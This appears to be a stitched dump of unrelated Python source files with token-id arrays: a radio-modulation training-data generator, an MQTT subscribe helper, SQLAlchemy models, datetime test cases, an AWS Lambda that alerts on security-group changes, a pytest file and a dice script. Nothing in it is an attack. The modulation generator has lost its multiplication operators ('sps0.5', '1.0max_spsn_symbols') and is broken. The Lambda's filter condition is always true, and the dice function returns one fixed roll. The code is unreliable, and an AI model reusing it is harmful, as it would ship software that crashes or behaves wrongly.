frm_dataset_creator2.py	uclacores/dual_path_network	4	168739	#from frm_generate_data_np import * import numpy as np from numpy import pi,sqrt model_folder="models/freq_2019_07_02_2/" from frm_modulations import mod_list,cont_phase_mod_list,linear_mod_const # import tensorflow as tf import datetime import pickle import sys import copy from frm_dataset_creator import * from numba import jit from frm_modulations_fast import modulate_symbols_fast,modulate_symbols # In[199]: def func(my_dict): # print(my_dict) return generate_dataset_sig2(*my_dict) def generate_dataset_sig2_parallel(n_samples, pkt_size,max_sps,mod_list,sps_rng,pulse_ebw_list,timing_offset_rng,fading_spread_rng,freq_err_rng,phase_err_rng,snr_rng, complex_fading = False,freq_in_hz = False, seed = None, fname = None, version = 1,nthreads = 10 ): #1e4 args_in = locals() args_in.pop('nthreads',None) rand_step =374861 args_list = [] for i in range(nthreads): args_list.append(copy.deepcopy(args_in)) if args_in['seed'] is not None: for indx,args in enumerate(args_list): args['seed'] = args_in['seed'] + indx rand_step get_tmp_name = lambda base, indx : "{}_{}".format(base, indx) # if fname is not None: # base_name = fname # else: # base_name = 'tmp/dataset' # base_name = '/tmp/dataset{}'.format(np.random.randint(0,1000000)) for indx,args in enumerate(args_list): args['fname'] = None #get_tmp_name(base_name,indx) args['n_samples'] = args_in['n_samples']//nthreads p = Pool(nthreads) datasets = p.map(func, args_list) # with open(get_tmp_name(base_name,0),'rb') as f: # dataset = pickle.load(f) dataset_out = datasets[0] for i in range(1,nthreads): dataset_i = datasets[i] for k1 in dataset_out.keys(): if isinstance(dataset_out[k1],dict): for k2 in dataset_out[k1].keys(): # print(k1,k2) if k1!='args' and k1!='time': dataset_out[k1][k2] = np.append(dataset_out[k1][k2],dataset_i[k1][k2],axis = 0) dataset_out['args'] = args_in dataset_out['time'] = str(datetime.datetime.now()) if fname is not None: with open(fname,'wb') as f: pickle.dump(dataset_out,f) return dataset_out def generate_dataset_sig2(n_samples, pkt_size,max_sps,mod_list,sps_rng,pulse_ebw_list,timing_offset_rng,fading_spread_rng,freq_err_rng,phase_err_rng,snr_rng,complex_fading = False, freq_in_hz = False, seed = None, fname = None, version = 1): args = locals() if seed is not None: np.random.seed(seed) comb_v = np.zeros((n_samples,pkt_size,2)) carrier_v = np.zeros((n_samples,pkt_size,2)) fading_v = np.zeros((n_samples,pkt_size,2)) clean_v = np.zeros((n_samples,pkt_size,2)) timing_v = np.zeros((n_samples,pkt_size,2)) raw_v = np.zeros((n_samples,pkt_size,2)) mod_v = np.zeros((n_samples,len(mod_list))) if not complex_fading: coeff = np.zeros((n_samples,6)) else: coeff = np.zeros((n_samples,6),dtype='complex') mod_index = np.random.choice(len(mod_list),(n_samples,)).astype(np.int_) mod_v[range(n_samples),mod_index] = 1 sps = np.random.uniform(sps_rng[0],sps_rng[1],(n_samples,)) pulse_ebw = np.random.choice(pulse_ebw_list,(n_samples,)) timing_offset = np.random.uniform(timing_offset_rng[0],timing_offset_rng[1],(n_samples,)) fading_spread = np.random.uniform(fading_spread_rng[0],fading_spread_rng[1],(n_samples,)) freq_err = np.random.uniform(freq_err_rng[0],freq_err_rng[1],(n_samples,)) phase_err = np.random.uniform(phase_err_rng[0],phase_err_rng[1],(n_samples,)) if np.array(snr_rng).size==2: snr = np.random.uniform(snr_rng[0],snr_rng[1],(n_samples,)) else: snr = np.random.choice(snr_rng,(n_samples,)) progress_step = 1000 a = datetime.datetime.now() strt_time = copy.deepcopy(a) for samp_indx in range(n_samples): mod = mod_list[mod_index[samp_indx]] op = create_sample_fast( mod = mod,pkt_len = pkt_size,sps=sps[samp_indx],pulse_ebw = pulse_ebw[samp_indx], timing_offset = timing_offset[samp_indx], fading_spread = fading_spread[samp_indx], freq_err = freq_err[samp_indx], phase_err =phase_err[samp_indx], snr = snr[samp_indx], max_sps = max_sps, complex_fading = complex_fading, freq_in_hz = freq_in_hz, seed = None) mod_v[:,0] = 1 comb_v[samp_indx] ,carrier_v[samp_indx],fading_v[samp_indx],clean_v[samp_indx],timing_v[samp_indx],raw_v[samp_indx],coeff[samp_indx] = op if samp_indx%progress_step == 0 and samp_indx>0: b = datetime.datetime.now() diff_time = b-a # the exact output you're looking for: sys.stdout.write("\rGenerated {} out of {} ({:.1f}%), Elapsed {} , estimated {}".format(samp_indx,n_samples, float(samp_indx)/n_samples100, b-strt_time , (n_samples-samp_indx)diff_time /progress_step )) sys.stdout.flush() a = copy.deepcopy(b) op ={'sig':{},'params':{},'data':{}} op['sig']['comb'] = comb_v op['sig']['timing_fading_carrier'] = carrier_v op['sig']['timing_fading'] = fading_v op['sig']['timing'] = clean_v op['params']['mod'] = mod_index op['params']['fading_spread'] = fading_spread op['params']['fading_taps'] = coeff op['params']['freq_off'] = freq_err op['params']['phase_off'] = phase_err op['params']['timing_off'] = timing_offset op['params']['symb_rate'] = sps op['data']['binary_marking'] = timing_v op['params']['sps'] = sps op['params']['pulse_ebw'] = pulse_ebw op['sig']['timing_raw_unique'] = raw_v op['params']['snr'] = snr op['args'] = args op['time'] = str(datetime.datetime.now()) op['version'] = version if fname is not None: with open(fname,'wb') as f: pickle.dump(op,f) return op def create_sample( mod = 'bpsk',pkt_len = 128,sps=8,pulse_ebw = 0.35, timing_offset = 0.5, fading_spread = 1, freq_err = 0.0001, phase_err = np.pi, snr = 10, max_sps = 128, complex_fading = False, freq_in_hz = False, seed = None): samp_rate = 1 if seed is not None: np.random.seed(seed) if mod in cont_phase_mod_list: order = 2 else: # Linear modulation order = linear_mod_const[mod].size n_symbols = int( (pkt_len)/(sps0.5)) + 2 data_symbs=np.random.randint(0,order,n_symbols) mag = timing_offset timing_offset = calc_timing_offset(mag, max_sps) timing_step = int(max_sps/sps) mod_symbs_max_sps=modulate_symbols(data_symbs,mod,max_sps,ebw = pulse_ebw) data_symbs_max_sps= np.repeat(data_symbs,max_sps) t_max_sps= np.arange(0,1.0max_spsn_symbols/samp_rate,1.0/samp_rate) transition_data_ideal = np.array(([1,]max_sps + [0,]max_sps) int(n_symbols/2+1)) mod_symbs_timing_err = simulate_timing_error(mod_symbs_max_sps,timing_offset,timing_step, pkt_len) data_symbs_timing_err = simulate_timing_error(data_symbs_max_sps,timing_offset,timing_step, pkt_len) mod_raw_symbs_timing_err = modulate_symbols(data_symbs_timing_err,mod,sps = 1, ebw = None, pulse_shape = None) t_timing_err = simulate_timing_error(t_max_sps,timing_offset,timing_step, pkt_len) marking_b_timing = simulate_timing_error(transition_data_ideal,timing_offset,timing_step, pkt_len) transition_data_timing = simulate_timing_error(transition_data_ideal,timing_offset,timing_step, pkt_len+1) transition_data_timing = np.abs(np.diff(transition_data_timing)).astype('int') mod_raw_unique_symbs_timing_err = mod_raw_symbs_timing_errtransition_data_timing mod_raw_unique_symbs_timing_err[transition_data_timing==0]=np.nan+1jnp.nan if not complex_fading: coeff = generate_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel(mod_symbs_timing_err, coeff) else: coeff=generate_complex_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel_complex(mod_symbs_timing_err, coeff) if not freq_in_hz: t_freq = t_timing_err else: t_freq = np.arange(t_timing_err.size) mod_symbs_timing_fading_freq_err = simulate_frequency_error(mod_symbs_timing_fading,t_freq,freq_err,phase_err) carrier_timing_err = simulate_frequency_error(1.0,t_freq,freq_err,phase_err) mod_symbs_timing_fading_freq_noise = add_noise(mod_symbs_timing_fading_freq_err,snr) op = mod_symbs_timing_fading_freq_noise comb = assign_iq2(mod_symbs_timing_fading_freq_noise) carrier = assign_iq2(mod_symbs_timing_fading_freq_err) fading = assign_iq2(mod_symbs_timing_fading) clean = assign_iq2(mod_symbs_timing_err)#assign_iq2(mod_symbs_max_sps)# timing = np.zeros((pkt_len,2)) timing[range(pkt_len),marking_b_timing] = 1 raw = assign_iq2(mod_raw_unique_symbs_timing_err) return (comb ,carrier,fading,clean,timing,raw,coeff) @jit(nopython=True) def create_marking(max_sps,timing_step,timing_offset,pkt_len): x = np.zeros(pkt_len+1,dtype=np.int_) timing_offset = int(timing_offset) indx = int(timing_offset) state = True prev_max_sps = indx% max_sps for i in range(0,x.size): x[i] = state indx = indx +timing_step cur_max_sps = indx%max_sps if cur_max_sps<prev_max_sps: state = not state prev_max_sps = cur_max_sps return x def create_sample_fast( mod = 'bpsk',pkt_len = 128,sps=8,pulse_ebw = 0.35, timing_offset = 0.5, fading_spread = 1, freq_err = 0.0001, phase_err = np.pi, snr = 10, max_sps = 128,complex_fading = False, freq_in_hz = False, seed = None): samp_rate = 1 if seed is not None: np.random.seed(seed) if mod in cont_phase_mod_list: order = 2 else: # Linear modulation order = linear_mod_const[mod].size n_symbols = int( (pkt_len)/(sps0.5)) + 2 data_symbs=np.random.randint(0,order,n_symbols) mag = timing_offset timing_offset = calc_timing_offset(mag, max_sps) timing_step = int(max_sps/sps) mod_symbs_max_sps=modulate_symbols_fast(data_symbs,mod,max_sps,timing_offset,timing_step,ebw = pulse_ebw) data_symbs_max_sps= np.repeat(data_symbs,max_sps) t_max_sps= np.arange(0,1.0max_spsn_symbols/samp_rate,1.0/samp_rate) mod_symbs_timing_err = mod_symbs_max_sps[:pkt_len] data_symbs_timing_err = simulate_timing_error(data_symbs_max_sps,timing_offset,timing_step, pkt_len) mod_raw_symbs_timing_err = modulate_symbols(data_symbs_timing_err,mod,sps = 1, ebw = None, pulse_shape = None) t_timing_err = simulate_timing_error(t_max_sps,timing_offset,timing_step, pkt_len) transition_data_timing = create_marking(max_sps,timing_step,timing_offset,pkt_len) marking_b_timing = transition_data_timing[:-1] transition_data_timing = np.abs(np.diff(transition_data_timing)).astype('int') mod_raw_unique_symbs_timing_err = mod_raw_symbs_timing_errtransition_data_timing mod_raw_unique_symbs_timing_err[transition_data_timing==0]=np.nan+1j*np.nan if not complex_fading: coeff = generate_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel(mod_symbs_timing_err, coeff) else: coeff=generate_complex_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel_complex(mod_symbs_timing_err, coeff) if not freq_in_hz: t_freq = t_timing_err else: t_freq = np.arange(t_timing_err.size) mod_symbs_timing_fading_freq_err = simulate_frequency_error(mod_symbs_timing_fading,t_freq,freq_err,phase_err) carrier_timing_err = simulate_frequency_error(1.0,t_freq,freq_err,phase_err) mod_symbs_timing_fading_freq_noise = add_noise(mod_symbs_timing_fading_freq_err,snr) op = mod_symbs_timing_fading_freq_noise comb = assign_iq2(mod_symbs_timing_fading_freq_noise) carrier = assign_iq2(mod_symbs_timing_fading_freq_err) fading = assign_iq2(mod_symbs_timing_fading) clean = assign_iq2(mod_symbs_timing_err) timing = np.zeros((pkt_len,2)) timing[range(pkt_len),marking_b_timing.astype(np.int_)] = 1 raw = assign_iq2(mod_raw_unique_symbs_timing_err) return (comb ,carrier,fading,clean,timing,raw,coeff) def assign_iq2( complex_vec): op_vec = np.zeros((complex_vec.shape[0],2)) op_vec[:,0] = np.real(complex_vec) op_vec[:,1] = np.imag(complex_vec) return op_vec if __name__ == '__main__': test_data_sig_parallel()	[ 1, 396, 3166, 1424, 29885, 29918, 17158, 29918, 1272, 29918, 9302, 1053, 334, 13, 5215, 12655, 408, 7442, 13, 3166, 12655, 1053, 2930, 29892, 3676, 13, 13, 4299, 29918, 12083, 543, 9794, 29914, 29888, 7971, 29918, 29906, 29900, 29896, 29929, 29918, 29900, 29955, 29918, 29900, 29906, 29918, 29906, 12975, 13, 13, 3166, 1424, 29885, 29918, 1545, 8250, 1053, 878, 29918, 1761, 29892, 1285, 29918, 21646, 29918, 1545, 29918, 1761, 29892, 10660, 29918, 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paho/mqtt/subscribe.py	RandomGamer342/TTM4115-plantsensor	8	6172	<gh_stars>1-10 # Copyright (c) 2016 <NAME> <<EMAIL>> # # All rights reserved. This program and the accompanying materials # are made available under the terms of the Eclipse Public License v1.0 # and Eclipse Distribution License v1.0 which accompany this distribution. # # The Eclipse Public License is available at # http://www.eclipse.org/legal/epl-v10.html # and the Eclipse Distribution License is available at # http://www.eclipse.org/org/documents/edl-v10.php. # # Contributors: # <NAME> - initial API and implementation """ This module provides some helper functions to allow straightforward subscribing to topics and retrieving messages. The two functions are simple(), which returns one or messages matching a set of topics, and callback() which allows you to pass a callback for processing of messages. """ import paho.mqtt.client as paho import paho.mqtt as mqtt import ssl def _on_connect(c, userdata, flags, rc): """Internal callback""" if rc != 0: raise mqtt.MQTTException(paho.connack_string(rc)) if type(userdata['topics']) is list: for t in userdata['topics']: c.subscribe(t, userdata['qos']) else: c.subscribe(userdata['topics'], userdata['qos']) def _on_message_callback(c, userdata, message): """Internal callback""" userdata['callback'](c, userdata['userdata'], message) def _on_message_simple(c, userdata, message): """Internal callback""" if userdata['msg_count'] == 0: return # Don't process stale retained messages if 'retained' was false if userdata['retained'] == False and message.retain == True: return userdata['msg_count'] = userdata['msg_count'] - 1 if userdata['messages'] is None and userdata['msg_count'] == 0: userdata['messages'] = message c.disconnect() return userdata['messages'].append(message) if userdata['msg_count'] == 0: c.disconnect() def callback(callback, topics, qos=0, userdata=None, hostname="localhost", port=1883, client_id="", keepalive=60, will=None, auth=None, tls=None, protocol=paho.MQTTv311, transport="tcp"): """Subscribe to a list of topics and process them in a callback function. This function creates an MQTT client, connects to a broker and subscribes to a list of topics. Incoming messages are processed by the user provided callback. This is a blocking function and will never return. callback : function of the form "on_message(client, userdata, message)" for processing the messages received. topics : either a string containing a single topic to subscribe to, or a list of topics to subscribe to. qos : the qos to use when subscribing. This is applied to all topics. userdata : passed to the callback hostname : a string containing the address of the broker to connect to. Defaults to localhost. port : the port to connect to the broker on. Defaults to 1883. client_id : the MQTT client id to use. If "" or None, the Paho library will generate a client id automatically. keepalive : the keepalive timeout value for the client. Defaults to 60 seconds. will : a dict containing will parameters for the client: will = {'topic': "<topic>", 'payload':"<payload">, 'qos':<qos>, 'retain':<retain>}. Topic is required, all other parameters are optional and will default to None, 0 and False respectively. Defaults to None, which indicates no will should be used. auth : a dict containing authentication parameters for the client: auth = {'username':"<username>", 'password':"<password>"} Username is required, password is optional and will default to None if not provided. Defaults to None, which indicates no authentication is to be used. tls : a dict containing TLS configuration parameters for the client: dict = {'ca_certs':"<ca_certs>", 'certfile':"<certfile>", 'keyfile':"<keyfile>", 'tls_version':"<tls_version>", 'ciphers':"<ciphers">} ca_certs is required, all other parameters are optional and will default to None if not provided, which results in the client using the default behaviour - see the paho.mqtt.client documentation. Defaults to None, which indicates that TLS should not be used. transport : set to "tcp" to use the default setting of transport which is raw TCP. Set to "websockets" to use WebSockets as the transport. """ if qos < 0 or qos > 2: raise ValueError('qos must be in the range 0-2') callback_userdata = { 'callback':callback, 'topics':topics, 'qos':qos, 'userdata':userdata} client = paho.Client(client_id=client_id, userdata=callback_userdata, protocol=protocol, transport=transport) client.on_message = _on_message_callback client.on_connect = _on_connect if auth is not None: username = auth['username'] try: password = auth['password'] except KeyError: password = <PASSWORD> client.username_pw_set(username, password) if will is not None: will_topic = will['topic'] try: will_payload = will['payload'] except KeyError: will_payload = None try: will_qos = will['qos'] except KeyError: will_qos = 0 try: will_retain = will['retain'] except KeyError: will_retain = False client.will_set(will_topic, will_payload, will_qos, will_retain) if tls is not None: ca_certs = tls['ca_certs'] try: certfile = tls['certfile'] except KeyError: certfile = None try: keyfile = tls['keyfile'] except KeyError: keyfile = None try: tls_version = tls['tls_version'] except KeyError: tls_version = ssl.PROTOCOL_SSLv23; try: ciphers = tls['ciphers'] except KeyError: ciphers = None client.tls_set(ca_certs, certfile, keyfile, tls_version=tls_version, ciphers=ciphers) client.connect(hostname, port, keepalive) client.loop_forever() def simple(topics, qos=0, msg_count=1, retained=True, hostname="localhost", port=1883, client_id="", keepalive=60, will=None, auth=None, tls=None, protocol=paho.MQTTv311, transport="tcp"): """Subscribe to a list of topics and return msg_count messages. This function creates an MQTT client, connects to a broker and subscribes to a list of topics. Once "msg_count" messages have been received, it disconnects cleanly from the broker and returns the messages. topics : either a string containing a single topic to subscribe to, or a list of topics to subscribe to. qos : the qos to use when subscribing. This is applied to all topics. msg_count : the number of messages to retrieve from the broker. if msg_count == 1 then a single MQTTMessage will be returned. if msg_count > 1 then a list of MQTTMessages will be returned. retained : If set to True, retained messages will be processed the same as non-retained messages. If set to False, retained messages will be ignored. This means that with retained=False and msg_count=1, the function will return the first message received that does not have the retained flag set. hostname : a string containing the address of the broker to connect to. Defaults to localhost. port : the port to connect to the broker on. Defaults to 1883. client_id : the MQTT client id to use. If "" or None, the Paho library will generate a client id automatically. keepalive : the keepalive timeout value for the client. Defaults to 60 seconds. will : a dict containing will parameters for the client: will = {'topic': "<topic>", 'payload':"<payload">, 'qos':<qos>, 'retain':<retain>}. Topic is required, all other parameters are optional and will default to None, 0 and False respectively. Defaults to None, which indicates no will should be used. auth : a dict containing authentication parameters for the client: auth = {'username':"<username>", 'password':"<password>"} Username is required, password is optional and will default to None if not provided. Defaults to None, which indicates no authentication is to be used. tls : a dict containing TLS configuration parameters for the client: dict = {'ca_certs':"<ca_certs>", 'certfile':"<certfile>", 'keyfile':"<keyfile>", 'tls_version':"<tls_version>", 'ciphers':"<ciphers">} ca_certs is required, all other parameters are optional and will default to None if not provided, which results in the client using the default behaviour - see the paho.mqtt.client documentation. Defaults to None, which indicates that TLS should not be used. transport : set to "tcp" to use the default setting of transport which is raw TCP. Set to "websockets" to use WebSockets as the transport. """ if msg_count < 1: raise ValueError('msg_count must be > 0') # Set ourselves up to return a single message if msg_count == 1, or a list # if > 1. if msg_count == 1: messages = None else: messages = [] userdata = {'retained':retained, 'msg_count':msg_count, 'messages':messages} callback(_on_message_simple, topics, qos, userdata, hostname, port, client_id, keepalive, will, auth, tls, protocol, transport) return userdata['messages']	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29953, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 13, 29937, 2178, 10462, 21676, 29889, 910, 1824, 322, 278, 10259, 1384, 292, 17279, 13, 29937, 526, 1754, 3625, 1090, 278, 4958, 310, 278, 15103, 5236, 19245, 325, 29896, 29889, 29900, 13, 29937, 322, 15103, 17740, 19245, 325, 29896, 29889, 29900, 607, 10259, 1384, 445, 4978, 29889, 13, 29937, 13, 29937, 450, 15103, 5236, 19245, 338, 3625, 472, 13, 29937, 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registry/sql/models/module.py	rmb938/tf-registry	3	103248	import uuid from sqlalchemy import Column, String, func, Index, ForeignKey from sqlalchemy_utils import ArrowType, UUIDType from registry.sql.database import Base class Module(Base): __tablename__ = 'modules' id = Column(UUIDType, primary_key=True, default=uuid.uuid4) organization_id = Column(UUIDType, ForeignKey('organizations.id'), nullable=False, index=True) name = Column(String, nullable=False) created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now()) updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now()) __table_args__ = ( Index("organization_id_name_idx", organization_id, name, unique=True), ) class ModuleProvider(Base): __tablename__ = 'module_providers' id = Column(UUIDType, primary_key=True, default=uuid.uuid4) module_id = Column(UUIDType, ForeignKey('modules.id'), nullable=False, index=True) name = Column(String, nullable=False) created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now()) updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now()) __table_args__ = ( Index("module_id_name_idx", module_id, name, unique=True), ) class ModuleProviderVersion(Base): __tablename__ = 'module_provider_versions' id = Column(UUIDType, primary_key=True, default=uuid.uuid4) provider_id = Column(UUIDType, ForeignKey('module_providers.id'), nullable=False, index=True) version = Column(String, nullable=False) created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now()) updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now()) __table_args__ = ( Index("provider_id_version_idx", provider_id, version, unique=True), )	[ 1, 1053, 318, 5416, 13, 13, 3166, 4576, 284, 305, 6764, 1053, 12481, 29892, 1714, 29892, 3653, 29892, 11374, 29892, 19358, 2558, 13, 3166, 4576, 284, 305, 6764, 29918, 13239, 1053, 826, 798, 1542, 29892, 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tests/integration/records/datetime_cases.py	cwegrzyn/records-mover	36	155485	SAMPLE_YEAR = 1983 SAMPLE_YEAR_SHORT = 83 SAMPLE_MONTH = 1 SAMPLE_DAY = 2 SAMPLE_HOUR = 15 SAMPLE_UTC_HOUR = 20 SAMPLE_HOUR_12H = 3 SAMPLE_MINUTE = 4 SAMPLE_SECOND = 5 SAMPLE_PERIOD = 'PM' SAMPLE_OFFSET = '-00' SAMPLE_LONG_TZ = 'UTC' def create_sample(template: str) -> str: return ( template .replace('YYYY', str(SAMPLE_YEAR)) .replace('YY', ('%02d' % SAMPLE_YEAR_SHORT)) .replace('MM', ('%02d' % SAMPLE_MONTH)) .replace('DD', ('%02d' % SAMPLE_DAY)) .replace('HH24', ('%02d' % SAMPLE_HOUR)) .replace('HH12', ('%02d' % SAMPLE_HOUR_12H)) .replace('HH', ('%02d' % SAMPLE_HOUR)) .replace('MI', ('%02d' % SAMPLE_MINUTE)) .replace('SS', ('%02d' % SAMPLE_SECOND)) .replace('OF', SAMPLE_OFFSET) .replace('AM', SAMPLE_PERIOD) ) DATE_CASES = [ 'YYYY-MM-DD', 'MM-DD-YYYY', 'DD-MM-YYYY', 'MM/DD/YY', 'DD/MM/YY', 'DD-MM-YY', ] TIMEONLY_CASES = [ "HH12:MI AM", "HH:MI:SS", "HH24:MI:SS", ] DATETIMETZ_CASES = [ "YYYY-MM-DD HH:MI:SSOF", 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function/function_sg_event.py	lihtiandxc/notification4sgchanges	0	69617	from datetime import datetime import boto3 import json import os sns_client = boto3.client('sns') ###-------Global Var can be defined in Lambda global var and import with os.environ() method #str_asg_name = 'limliht-asg,limliht2-asg' #simulate global var in lambda #global_asg_name = str_asg_name.split(',') #accountpf_sg_list = ['sg-c87e38b8','sg-a8bb07d3','sg-233f485c','sg-2b7b3d5b','sg-0297c272','sg-e29dc892','sg-dcf86ca8'] #accountpf_sg_list = ['sg-fbde2f8c','sg-9ba7c2ec','sg-352d1542'] accountpf_sg_list = os.environ['global_accountpf_sg_list'].split(',') #accountpf_sg_list = accountpf_sg_list.split(',') accountpf_sg_name = os.environ['global_accountpf_sg_name'].split(',') #accountpf_sg_name = accountpf_sg_name.split(',') sns_topic_arn = os.environ['global_sns_topic_arn'] #accountpf_sg_name = ['Prod_sg_mante','Monitor','Stag_account'] combine_sg_list = dict(zip(accountpf_sg_name,accountpf_sg_list)) #why not using dict instead? This design is to fit AWS lambda global var input #sns_topic_arn = 'arn:aws:sns:us-east-1:751611215147:limliht_topic2' def construct_sns_msg(e): request_parameters = e['requestParameters'] group_id = request_parameters['groupId'] accesskey_id = e['userIdentity']['accessKeyId'] username = e['userIdentity']['userName'] event_name = e['eventName'] if event_name != 'DeleteSecurityGroup': ip_permissions = request_parameters['ipPermissions'] ip_permissions_item = json.dumps(ip_permissions['items']) else: ip_permissions_item = 'Security Group has deleted' aws_region = e['awsRegion'] source_ip = e['sourceIPAddress'] event_id = e['eventID'] str_e = json.dumps(e) str_e_data = json.loads(str_e) event_time_json = str_e_data['eventTime'] #Transform the JSON time format to datetime format event_time_datetime_format = str(datetime.strptime(event_time_json, '%Y-%m-%dT%H:%M:%SZ')) #Searching group name based on group id for sg_name, sg_id in combine_sg_list.items(): if sg_id == group_id: group_name = sg_name #return sg_name body_msg = 'Event summary: \ \n\nEvent name : ' + event_name + \ '\nSecurity Group Name : ' + group_name + \ '\nSecurity Group ID : ' + group_id + \ '\nChange Items : ' + ip_permissions_item + \ '\nEvent Id : ' + event_id + \ '\nEvent time (UTC) : ' + event_time_datetime_format + \ '\nUser Access Key : ' + accesskey_id + \ '\nUsername : ' + username + \ '\nAWS Region : ' + aws_region + \ '\nSource IP : ' + source_ip + \ '\n\n\n' + 'Raw event: ' + \ '\n\n' + str_e subject_msg = 'Account Platform Security Group ({}) Rules Changes'.format(group_id) trigger_notification(body_msg, subject_msg) def trigger_notification(event_detail, subject): sns_client.publish(TargetArn = sns_topic_arn, MessageStructure = 'string', \ Message = event_detail, Subject = subject) def lambda_handler(event, context): # TODO implement print(event) if (event['detail']['eventName'] == 'AuthorizeSecurityGroupIngress' or \ 'AuthorizeSecurityGroupEgress' or 'RevokeSecurityGroupEgress' or \ 'RevokeSecurityGroupIngress') or 'DeleteSecurityGroup' and \ event['detail']['requestParameters'] \ ['groupId'] in accountpf_sg_list: construct_sns_msg(event['detail']) return 'Success'	[ 1, 515, 12865, 1053, 12865, 13, 5215, 289, 3747, 29941, 13, 5215, 4390, 13, 5215, 2897, 13, 13, 29879, 1983, 29918, 4645, 353, 289, 3747, 29941, 29889, 4645, 877, 29879, 1983, 1495, 13, 13, 2277, 29937, 26589, 12756, 11681, 508, 367, 3342, 297, 365, 2269, 5534, 722, 322, 1053, 411, 2897, 29889, 21813, 580, 1158, 13, 29937, 710, 29918, 294, 29887, 29918, 978, 353, 525, 2576, 492, 400, 29899, 294, 29887, 29892, 2576, 492, 400, 29906, 29899, 294, 29887, 29915, 396, 3601, 5987, 5534, 722, 297, 14013, 13, 29937, 10945, 29918, 294, 29887, 29918, 978, 353, 851, 29918, 294, 29887, 29918, 978, 29889, 5451, 29317, 1495, 13, 13, 29937, 10149, 7810, 29918, 5311, 29918, 1761, 353, 6024, 5311, 29899, 29883, 29947, 29955, 29872, 29941, 29947, 29890, 29947, 3788, 5311, 29899, 29874, 29947, 1327, 29900, 29955, 29881, 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tests/test_datatypes.py	MZH-bust/genutil	0	81444	import pytest from genutil import datatypes class TestIsListOfStrings: @pytest.mark.parametrize( "test_parameter,expected", [ pytest.param(["this", "is", "a", "list", "of", "strings"], True, id="Param1 - List of Strings"), pytest.param("no list, but string", False, id="Param2 - String only"), pytest.param(["this", "is", "a", 9], False, id="Param3 - List contains int"), pytest.param(10, False, id="Param4 - only int"), ], ) def test_is_list_of_strings(self, test_parameter, expected): assert datatypes.is_list_of_strings(test_parameter) == expected	[ 1, 1053, 11451, 1688, 13, 3166, 2531, 4422, 1053, 1418, 271, 7384, 13, 13, 13, 1990, 4321, 3624, 1293, 2776, 26545, 29901, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 4706, 376, 1688, 29918, 15501, 29892, 9684, 613, 13, 4706, 518, 13, 9651, 11451, 1688, 29889, 3207, 29898, 3366, 1366, 613, 376, 275, 613, 376, 29874, 613, 376, 1761, 613, 376, 974, 613, 376, 19651, 12436, 5852, 29892, 1178, 543, 4736, 29896, 448, 2391, 310, 3767, 886, 4968, 13, 9651, 11451, 1688, 29889, 3207, 703, 1217, 1051, 29892, 541, 1347, 613, 7700, 29892, 1178, 543, 4736, 29906, 448, 1714, 871, 4968, 13, 9651, 11451, 1688, 29889, 3207, 29898, 3366, 1366, 613, 376, 275, 613, 376, 29874, 613, 29871, 29929, 1402, 7700, 29892, 1178, 543, 4736, 29941, 448, 2391, 3743, 938, 4968, 13, 9651, 11451, 1688, 29889, 3207, 29898, 29896, 29900, 29892, 7700, 29892, 1178, 543, 4736, 29946, 448, 871, 938, 4968, 13, 4706, 21251, 13, 1678, 1723, 13, 1678, 822, 1243, 29918, 275, 29918, 1761, 29918, 974, 29918, 19651, 29898, 1311, 29892, 1243, 29918, 15501, 29892, 3806, 1125, 13, 4706, 4974, 1418, 271, 7384, 29889, 275, 29918, 1761, 29918, 974, 29918, 19651, 29898, 1688, 29918, 15501, 29897, 1275, 3806, 13, 2 ]
dice.py	kamalkum9r/python	1	1616221	# importing required library # no need to worry about installing it its preinstalled with your python language import random # here i am defining a function to roll a dice so that you can import it in other projects also # huh, thanks me later for that ?? dice = random.randint(1,6) def roll_a_die(): return dice result = roll_a_die() print(result) # its that simple , isn't it ?? # my instagram username: kamalkum9r	[ 1, 396, 28348, 3734, 3489, 30004, 13, 29937, 694, 817, 304, 15982, 1048, 15476, 372, 967, 758, 25537, 411, 596, 3017, 4086, 6756, 13, 30004, 13, 5215, 4036, 30004, 13, 30004, 13, 29937, 1244, 474, 626, 16184, 263, 740, 304, 9679, 263, 17629, 577, 393, 366, 508, 1053, 372, 297, 916, 9279, 884, 30004, 13, 29937, 298, 16099, 29892, 3969, 592, 2678, 363, 393, 13626, 30004, 13, 30004, 13, 29881, 625, 353, 4036, 29889, 9502, 524, 29898, 29896, 29892, 29953, 8443, 13, 1753, 9679, 29918, 29874, 29918, 16217, 7295, 30004, 13, 1678, 736, 17629, 30004, 13, 30004, 13, 2914, 353, 9679, 29918, 29874, 29918, 16217, 26471, 13, 2158, 29898, 2914, 8443, 13, 30004, 13, 29937, 967, 393, 2560, 1919, 3508, 29915, 29873, 372, 13626, 30004, 13, 29937, 590, 832, 14442, 8952, 29901, 9286, 2235, 398, 29929, 29878, 2 ]
